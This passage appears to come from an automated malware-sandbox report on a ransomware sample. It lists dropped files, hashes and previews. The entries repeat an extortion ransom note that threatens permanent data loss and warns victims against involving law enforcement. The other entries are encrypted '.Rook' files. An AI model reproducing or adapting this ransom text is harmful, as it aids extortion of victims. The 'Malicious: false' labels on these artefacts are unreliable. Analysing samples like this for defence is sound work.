Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Network\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Office\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO1033.acl.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	40328
Entropy (8bit):	6.468091740792459
Encrypted:	false
SSDEEP:	768:Rg3WmML/pQ1DLc0VUdZygN0JnrkRh4ftFy+h0Piidg10FF8ucy9HXQoe:K1D3iy3E6f7yK0Pii+GFZe
MD5:	8814823ECBC93835AC369DA1CBAFAB45
SHA1:	2FE7436E6F1B6410532B0DCA4C828D0406D51CB6
SHA-256:	929838F2EFFF7221238E0E92A1F61F71009A0BBA50359D1F4122B2BBDF8E8BBB
SHA-512:	D1D3889F4A253A33695F4B80B9467430156EDA4224205A7F81DDC75B17B31F3E9DDE1BCD20AA6D0FC63E794162D2DED5F8E6A14CEBB66835871B68DF008E3253
Malicious:	false
Preview:	.P..C.b. ...{?.S.....(.c.).....U.>H..k........ ....(.r.).....F...........+...."!.............d...).....t..?u.t.....a.b.o.u.."+9..[..(..........a.b.o.u.t....th.......8...D..a.b.o.u.t. .a.._..$.S......U.Jt.....a.b.o.u.t..UR...[..(pL{e.u.t.t.h.e.....a......&..{...,..\....a.b.s.c.e.n.]...V.)..b..9.2n.c.e.....a.c.c..........[.;.....a.c.c.e.s.s.o..U.nv>6..P.;.x.c.i.d.a.n.t........m...E.F..........a.c.c.o.m.o..8..t....N...c.o.m.m.o.d.a.t.z./..j^.....e~K.d.i.n.g.t.o.....+.a..G.}].2...g. .t.o.....a.c..."..".)F.g..xc.r.o.s.s.....a.....8..p..">.a.c.h.i.e.v.e.....d.X......N}...d.....a.c.h.i.e.....?...[.t...?.e.i.v.i.n.g.....A....l:...oy.-.mg.....a.c.n......Y.n..}>....3.!xm.m.o.d.a.t.e...`.c...QM.L..u,.yd.a.t.e.....a.c...eB..;.....o.....a.c.c.o.m.m.o...2.:.K..e.F...t.u.a.l.y.l.......>...x-.(.P......a.d.d.i.t.i....".mFW.....omi.t.i.o.n.a.l...._}.._.R...i...a.l.....a.d.d.i....H=.W.^`.. ..a.d.e.q.u.i.t....u>Tx<.zL..}....e.....a.d.e.q.u.{... .ZQ.m}8..`q.u.a.t.e.....a....A.1m

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3752
Entropy (8bit):	7.720004197376612
Encrypted:	false
SSDEEP:	96:5mJ9OD5w8kQ8S7Ko4/AAUn5U50+NS43LPuLjv:5U9OCJZoiM5U50B43LPun
MD5:	9EE12A7CE59DDB0C9626D452D7DC0E54
SHA1:	629EC24A565BE9E979C8F55EAF25C68EE2790F7D
SHA-256:	7D3572418923BE97EA62EA17D21EFEECCE65C658877B240595E6B76FA10FB83D
SHA-512:	98ED44CD4DCF22FF8F1FB6C33DCA51A6B600AAE0268F5F720D88C6A8D8AD9E695628918A4FD416A53CF7ADE6CCFBD8607AC3E55876BBE9B936874702A7586BD5
Malicious:	false
Preview:	r..~..x....^.x...F...............ShB....`....x\.....................!..P..5d.P.O. .:i.....+0.o\r<}W..~.7F.0...........x.1...0.Q.}..bZ@2...#......sN.$.R\|y.. .W.N..A..9.^.....:.......A.U.s..........H.~-...l.l.3.2...d.l.l......2b...\0......V.1......RFy.....S...h...a..)..RDy.RFy.....[....a....+.]7......U...a.l.f.r.e...w..6.]Ym.#....RDy..AppData.@k&.i.H.G..J.....................%...nDs.....Ufk.p.D.a.t.a.....V.Y...5+....'.7.ming.@.......RDu...3.F.M..{n.z...............(b.....8b..h.P........\.1......R.Q.0..b>.~I..........RDy.R.y....$8T.[......<\^.......;)o.M.i.c..k4^..Jl.X.._V..\.1......R.y..T.P..]...\@........R.y.R.y.....U..J..2.4q.D.2P. ....c&P.T.e.m.p.ln.%6.w.\|..d.PG.................-=l...T.A..3.5&.....;S.......C:\U...]6.H.J....C..Data\Roaming\Micq..I...F....2s1........\.....\.4.C.....W..N.J.s...................E.`gy...?z.L.:..er.=....`..H..N..M...{~...fredo-pc......N....@.^....Y..(K.k.......).].N....@.^....Y..(K.k.......).]....H.B...]..*${?..XF.L8C....&.m.m.I.......

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2616
Entropy (8bit):	7.9087198774108165
Encrypted:	false
SSDEEP:	48:e2uh0f1EWCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:ei07Ko4/AAUn5U50+NS43LPuLjv
MD5:	CFDDB0D71D9772C79370768F186CB22D
SHA1:	E158D0C4CA48259669661D2ACBCC0A2C0E85D4F3
SHA-256:	64EF6B30A2BBF38651EFF18A981F3887EAD37172D36DCCF2DBCE5AA2AB19B6B0
SHA-512:	82581B9A2A5B9864A3644C2BC28A836ADB918BF091AC77899B8CBB9C150F2E451F6B07C7AE0BC854BC32D3800F44113A0890AA18153344F4AFC398E5C2CC43D5
Malicious:	false
Preview:	.E_..c.0r...Z...ates.LNK=0..............................A ao...d- ,<._.N..4...Nm....Jd......e<...+..H?..1'......d...k.`...Y..<...(.T'.....BB.F.cL.....0HOB..y2...P\..8..J.$97...S../.......9m.......}BA.TR.k<.K^\|g.{...3<......E..I.G.[..BF._.......m1~&.b.0...>........Z..%A..H..T.^..UaP.........).7/........~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j)

C:\Users\user\AppData\Roaming\Microsoft\Proof\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2760
Entropy (8bit):	7.904152901413384
Encrypted:	false
SSDEEP:	48:I3rHa5L8TlCLCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:UkUCi7Ko4/AAUn5U50+NS43LPuLjv
MD5:	13356B43352ECE6B09453586AF6B5B27
SHA1:	4D2669C6BA875931623C7DF0285CFB818FBB674D
SHA-256:	32FBAE59D543A85769C7D24822A48FDFD8786B3203A91E264E36DB92F03D7702
SHA-512:	2414AFFAD82A10010D2826AB2DB9575B059BE1C1B41E6EA62FCB2CF020AB50E1AB0D3CBCEB2AF5B610385E51D2769D0FD509952F7DA0B2A0B375D0F223B48B63
Malicious:	false
Preview:	..4.0\.........................../.....%...N}....FZ.O...B...`.?.a0.e.....s..a........:=.......yt......p.E.?/...Aq.4`....2...3....k.F..}j...........A.k.v.X.$^.:.J5R=.$..........................&OR...e..2.8?...d..7..I..M....k.V.ZUY..W.;.3.1..i..&L.5F.3\|I.FI.A.Z.......7 ..p.7.x"A_.R;K....2... .=t.[.....%7.P2.....WNl`..R..o..o....5..d......j.....v.>..,%p.=...Ts(.0,H.L.C......Q...g...M.p.4..@...7.<.cu..7....f..<._.x.....9UR.".._-.k!....~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.

C:\Users\user\AppData\Roaming\Microsoft\Protect\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2660496737-530772487-1027249058-1002\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2660496737-530772487-1027249058-1002\Preferred.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2616
Entropy (8bit):	7.909023250950663
Encrypted:	false
SSDEEP:	48:G52CeCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:GgCT7Ko4/AAUn5U50+NS43LPuLjv
MD5:	DF39A76926EF4C894A306EBEA4C39C8B
SHA1:	AC24C1E1C68C18E0927D4C333106DA10902BAC13
SHA-256:	BF94BAB520A09C492D68EBA37B386440BDC6E62F4E14E80C2DDC4005BFFFC068
SHA-512:	5149E6D0FCB902CAEE0CCD5E545D9AE15E179E0141F03850D063585D6BCA7B7EBBC1102F9877E8541D48465ED9822902D340D9309F311117A85C64B70B8176DE
Malicious:	false
Preview:	.;.E...Y+...s.....l2....................................I.\|.E..sh........[J.7..A.M...o.3.......U._a...W..Yc...$n...".o.?......../..%...l>no(./^..E.D9...m.q:...3..j.O...IGM.sF.~.7.MqD....;..!oE...2...Q....=b~...+..%.....0.r...c"4...p_..B./...#....aP.st..#~...'O9......D.q.cB...b.......+..@..g.M.Y.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j)

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2660496737-530772487-1027249058-1002\a05d339e-a3c6-48e3-9c59-a78ea2f33bb9.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3064
Entropy (8bit):	7.88297088557019
Encrypted:	false
SSDEEP:	48:d2aCJfq3rRR0F5DDXCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBD:4aMfq3rRGFJO7Ko4/AAUn5U50+NS43Le
MD5:	570CAE203AD4E9A3758A5A042FFAA5A6
SHA1:	B1AD44250833F2F483974D92F03A05F75986022E
SHA-256:	27A6486D932DA51E56B0C99355A7609C72FF7EBCC438EA73DA8181DDBF050997
SHA-512:	B9E2F9AADF3DAAD1BDF1D11BE6FC634EBC79F79861EBECE7A554345C39ABB9D0C68CE332C65AF66E9F75954D4473BE29E88235198B272BD015AAA0D6C90EB001
Malicious:	false
Preview:	.M`0.j\|..y.Y.V.Q5.d.3.3.9.e.-.a..........1%. P-.9.c.5.9.-.a.7...].......\;_..ib.9..............s>....,..D.X...................2.%..z...q.R....-.@........f....Z.4f...F}..9..%..;.].;Ig.NDd.)..6b`Dj..hN.{.7.i.....@j/)....P.....w......-{......}...%I......$.\........55....Q...0.=...j...._.^o.-......?...s7x...b..r...k[.....H'D....=.<.sS.~..Q..t.[...$.C.~.;.c.`..y.J.w...&...P.[{.-.....G.....3.A.{.<..J..\...8.w^KT..)..]...&.6\.....G4..3.a...*....................................S...G.7.....!q.r.......I.....5.......k.W..i.C.......&h.....P...g...'.."ZA.S.j...........z.1+.W.-..k...,v..>.....4...\....H..N.....}.N..C$..x..6....D.Z..3.DY.]..`..V.}.....(.`N..td.>...]X....4.])....$s..0y.I.P...F.,g...d.L.It}jtY.....j....D....~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2660496737-530772487-1027249058-1002\b1b54341-cda4-4fa0-b7cc-364639891c64.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3064
Entropy (8bit):	7.878620360102041
Encrypted:	false
SSDEEP:	48:ZZrC3TiK8iaU+yslDBCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pJ:DUh8i8tM7Ko4/AAUn5U50+NS43LPuLjv
MD5:	BAB9590B0B0CD13F29770630590AE87E
SHA1:	22B7161B848B1B53A31962CEE5D841D8B916C782
SHA-256:	1A95DADDAF913363D129E22D85D056ABFB497AF6CA712B14F7A61064078C7DD5
SHA-512:	879B12F85DAD03B1521B3991E2E7FF2B8BEB1F26A520A76865204AAAA78DB80FC0F1BD6E0BC1508900A1323663406B76D3874E151E7A94E7AC750088C2553A3F
Malicious:	false
Preview:	......=8.Z......b.5.4.3.4.1.-.c.&.R9.m..p....-.b.7.c.c.-.3.6.M..~i.wf_..H..Gp6.4...:=............,.[....hiX...................g...z...sN...KP'.l.@........f....3.O..;.......\..=Md..h.$...J=f..d.zq6......k.T:.}.v.../....}PW.O....sK^..<....D.v..t...N4..1b.$.......m.E.......\.....=^.K688\|Aa.Ku`.........g.vc...y..........G.3.............".Dh......4...NyS........>.@..."..{....-@....!.....z.mub...5eH._.....C.....\.:'?OD.f...s..Q.Nk....w....9...C...*....................................G&6.&.}...S....T.7Z...omT.;\|.KH.uJ.}....\hh?...R..X;.S.y.qHODXe.'o."MX....u...n...%.....^..S.{.....6..N.m .3Y....3.V.1..G@..6P.]...;.&.....^..k.&.av...JS>...e1.........D$R-J..ej.p....D.E.{!....O..._..I.a..h..~.dv.........V.g:....y.h......I.p2h.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2660496737-530772487-1027249058-1002\dfa83e9c-42e3-4d47-9b21-73b797a8d8bd.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3064
Entropy (8bit):	7.874642617783737
Encrypted:	false
SSDEEP:	48:UlQfA1HYFO6rWa5jSN6ZIhCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhU1:8CA1aprWOSN6ZP7Ko4/AAUn5U50+NS4y
MD5:	E8D459F0F8A9F8A028F59C29BB492EDA
SHA1:	D2564D024F5C1CC35DE46EA7199A222310A1ACD9
SHA-256:	EBBC9A7A362C50F4FFD438293F7C0B654E7515B0D0785C5860A57F1008C405D8
SHA-512:	1B98E2224DC050C904027AB2082D8BAA3902A9A8F83CF9FE15B49AF7F1E7C1AE800733A506520062E0DC155DF7AEB54107B921490ADD1D1B13E5D1D8DC0CFA8F
Malicious:	false
Preview:	$@....+...r..;4.a.8.3.e.9.c.-.4..#.'........#S..-.9.b.2.1.-.7.3.?}Y./.W.}X.uE..b.d..............?.G....~@Z..H........................69.../.x.@........f... ........P......MK.p.{..d....Lk......w.R... ...xs>..U3y....H...X.\$.A.7...q....`jAL.V....n.;...2.]......S./._.(C ...~a.!D".Z...........E...............A....Gz.K8..H..".R...]h....$..#.:.N>....L.i.".]....x.....z..~1...T.o)...2..t...!.G">..b[...S.s..{...A.F...]].3e..3.2%.......C.A.t.c,&.I.U.3.......................................6b.^v..{.Z..s...b?..$.(N](ZB.......Dp...nc#....}'d..X...X%=.O.5.Q<8......(.W.j..Wm.);...R...3.Q.<;.~.........U....y?......\|.....T.....X...n^$b...................1.-"..TN.nx...0......j...{H.v...n........v..O...m.....v..).3:.u.r.?.....E?.r,.]d......~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....

C:\Users\user\AppData\Roaming\Microsoft\Protect\SYNCHIST.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2664
Entropy (8bit):	7.90886066319213
Encrypted:	false
SSDEEP:	48:7gXH7cyhRCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:EXbxC7Ko4/AAUn5U50+NS43LPuLjv
MD5:	65ED4C58B2B7338EA57D1D2E27E4CF5D
SHA1:	538FBF247660CF82A88137F4948F1E640BBC6143
SHA-256:	83B126A5D106A0DAC8C2ED971BF124FE0765827E670DA48DDA9F3783AC8801EB
SHA-512:	1F0BE4DA8ED61CF4A447C7ADD162710DF7C2B981B72953CAE12C3138E87A302952BE764FE589C336FD350F7769B6867B61A5AB21C4CED60312080F6DDBD96BE3
Malicious:	false
Preview:	....G;....a..b...AmV.'J.H.Aln.\|..>...%..:o...?.o..3u.....v.&..........@..L.........................".<..i...0\|qg.o.p.T.k.....){E`...O.p...Y..3.......]...3.......d.... .-".u.N.'....F...U........A.B..}Pe.Ky.c...y}.._.&#.+r<.e..A...Z....nv......'T.g..q....g..g...O...2......C.?...o.Z.Yz....`....[J.CiA..v3!..b..p9.T.M%.....e<...........~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N

C:\Users\user\AppData\Roaming\Microsoft\Speech\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
